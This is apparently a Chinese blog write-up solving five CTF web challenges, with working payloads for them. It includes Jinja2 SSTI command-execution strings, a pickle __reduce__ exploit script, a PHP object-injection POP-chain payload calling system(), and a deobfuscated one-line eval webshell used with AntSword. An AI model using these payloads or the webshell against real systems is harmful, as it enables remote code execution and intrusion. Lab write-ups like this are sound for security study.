polar中等web部分题目

一.ssti

开头提示get方式传参name

加上是ssti的问题(简而言之就是说要用这种方式来得到对象的内部属性)

SSTI(服务器端模板注入)的利用过程就像是在目标语言的环境里"寻宝",核心思路是利用模板语法去访问当前对象,再通过对象的内部属性(如__class__、basesmrosubclasses)进行"属性链式搜索",最终找到可以执行系统命令、读取文件的危险函数或类。

1.输入{{7*7}}挨着尝试不同的模板

2.然后他可能是Twig (PHP)、Jinja2 (Python)、ERB (Ruby)

3.传参{{7*'7'}} → 7777777

此时能对是jinja2的确定

复制代码
# 模板1:最稳定(通过eval)
{{a.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}

# 模板2:最直接(有os的情况下)
{{a.__init__.__globals__['os'].popen('cat /f*').read()}}

# 模板3:最通用(通过__import__)
{{a.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /f*').read()}}

# 模板4:最隐蔽(编码版)
{{(a.__init__.__globals__.__builtins__|attr('ZXZhbA=='|decode('base64')))(('X19pbXBvcnRfXygib3MiKS5wb3BlbigiY2F0IC9mKiIpLnJlYWQoKQ=='|decode('base64')))}}

然后构造最后的payload:

{{a.init.globals['builtins']['eval']('import("os").popen("cat /f*").read()')}}

4.得到最后的flag{74da457f9884bef24f271e377334399a}

二.unpickle

下载附件得到一个py文件

import pickle

import base64

from flask import Flask, request

app = Flask(name)

@app.route("/")

def index():

try:

user = base64.b64decode(request.cookies.get('user'))

user = pickle.loads(user)

return user

except:

username = "Guest"

return "Hello %s" % username

if name == "main":

app.run(host="0.0.0.0", port=8080)

此时的页面弹出来的是Guest此时是进入到了except部分

重点就是 user = base64.b64decode(request.cookies.get('user'))

user = pickle.loads(user)

return user

user = base64.b64decode(request.cookies.get('user'))这一部分是要得到user.cookie的base64编码

user = pickle.loads(user)这一部分是说要把这个编码后的字符串变成user对象,成为了一个反序列化的问题

然后__reduce__ 是Python pickle模块的特殊方法:

当对象被反序列化时自动调用

必须返回一个元组 (函数, (参数1, 参数2, ...))

反序列化时会自动执行这个函数

原本的是将user的cookie来base64处理然后反序列化变成对象,解决方法就是将对象变成字符串来解决,所以最后这个字符串会触发这个反序列的代码

最终的payload是创建__reduce__方法然后引入恶意对象最后base64编码引入这个字符串

复制代码
import pickle
import base64
class exp(object):
    def __reduce__(self):#反序列化时的自动执行方法
        return eval, ("open('/flag','r').read()",)
e = exp()
exp = pickle.dumps(e)  # 字节流
a = base64.b64encode(exp).decode()#将命令行转成base64编码
print(a)

最后得到gASVNAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwYb3BlbignL2ZsYWcnLCdyJykucmVhZCgplIWUUpQu

最后得到flag:flag{1cd20c1dbbed0fc7ab481b44006d469f}

三.BlackMagic

复制代码
<!--
    extract($_REQUEST);  // 将$_REQUEST中的键值对提取为变量
    $strCharList = "\r\n\0\x0B ";  // 包含回车、换行、空字符、垂直制表符、空格
    $strFlag = "\r 	xxxxx...xxxxx	 \n";  // 包含特殊字符的flag字符串
    
    if(isset($strTmp))  // 检查是否有$strTmp变量
    { 
        $strContent = trim($strFlag, $strCharList);  // 去除两端的特定字符
        if($strTmp == $strContent)  // 比较是否相等
        { 
            echo "flag{xxx...xxx}"; 

代码审计:

extract() 函数详解

extract() 是PHP中一个非常危险的函数,经常导致变量覆盖漏洞。作用是将数组中的键值对导入到当前的符号表(变成PHP变量)

比如:

<?php

$data = array(

"username" => "admin",

"password" => "123456",

"is_admin" => true

);

extract($data);

// 现在可以直接使用这些变量

echo $username; // 输出: admin

echo $password; // 输出: 123456

echo $is_admin; // 输出: 1 (true)

?>

在本地里面输入

<?php

$strCharList = "\r\n\0\x0B ";

$strFlag = "\r xxxxx...xxxxx \n";

strContent = trim(strFlag, $strCharList);

echo urlencode($strContent);

然后弱比较传参试试?strTmp=xxxxx...xxxxx%09

得到flag{ab8aff2d0104e4f883a57880b260b761}

四.反序列化

<?php

/*

PolarD&N CTF

*/

highlight_file(FILE);

class example

{

public $handle;

function __destruct(){

$this->funnnn();

}

function funnnn(){

$this->handle->close();

}

}

class process{

public $pid;

function close(){

eval($this->pid);

}

}

if(isset($_GET['data'])){

user_data=unserialize(_GET['data']);

}

?>

跟上面的py反序列的解决方式差不多

整个链子就是这样example.__destruct -> example.funnnn -> process.close

(用户输入 → unserialize() → 创建example对象 → 脚本结束 →

__destruct()调用 → funnnn()调用 → handle->close() →

如果handle是process对象 → 执行eval($pid) → 任意代码执行)

然后构造payload来触发这个反序列代码(我们需要创建一个恶意对象,然后把它序列化成字符串,发送给服务器,服务器反序列化这个字符串时就会创建出我们的恶意对象,从而触发漏洞!

首先类是example(7个字符),然后根据这个pop链的顺序来,然后有一个属性,属性内容是handle又有新的类process(有一个属性),对象是pid然后利用eval函数实现命令执行

?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}

O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('tac /var/www/html/flag.php');";}}

得到flag:flag{3c8000f924a1ed58a12a91759ecab3f0}

五.找找shell

下载附件

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");

我们直接把这句话url解码n1zb/m61\vt0i28-pxuqy*6lrkdg9_ehcsw o4+f37j

然后把全部都解码,提取出base64部分:

复制代码
JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=

这是base64编码,解码后:

复制代码
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

然后想要得到关键的不重复的代码,需要将代码分段(substr)然后替换里面所有重复的代码(strtr)

利用这个思路用ai最后输出这个shell代码得到<?php @eval($_POST['usam']); ?>后门的密码是usam

然后后门文件是shell.php(dir扫出来的)

最后连接蚁剑就行查看flag

flag{2591c98b70119fe624898b1e424b5e91}

相关推荐
wuhen_n1 小时前
5年前端,我为什么要all in AI Agent?
前端·vue.js·ai编程
我爱切图2 小时前
echart 移动端进行双指缩放时,当放大到最大级别后,手指没有离开屏幕,图表还会自动移动问题修复
前端
optimistic_chen2 小时前
【Vue入门】创建Vue工程环境和响应式函数
前端·javascript·vue.js·前端框架·html
南城书生2 小时前
Android Handler 机制源码分析
前端
南城书生2 小时前
Android 大图加载与 OOM 优化
前端
南城书生2 小时前
RecyclerView 源码分析
前端
南城书生2 小时前
LeakCanary 原理分析
前端
没想好d2 小时前
通用管理后台组件库-13-页签组件
前端
xChive2 小时前
ECharts-大屏开发复习记录与踩坑总结
前端·javascript·echarts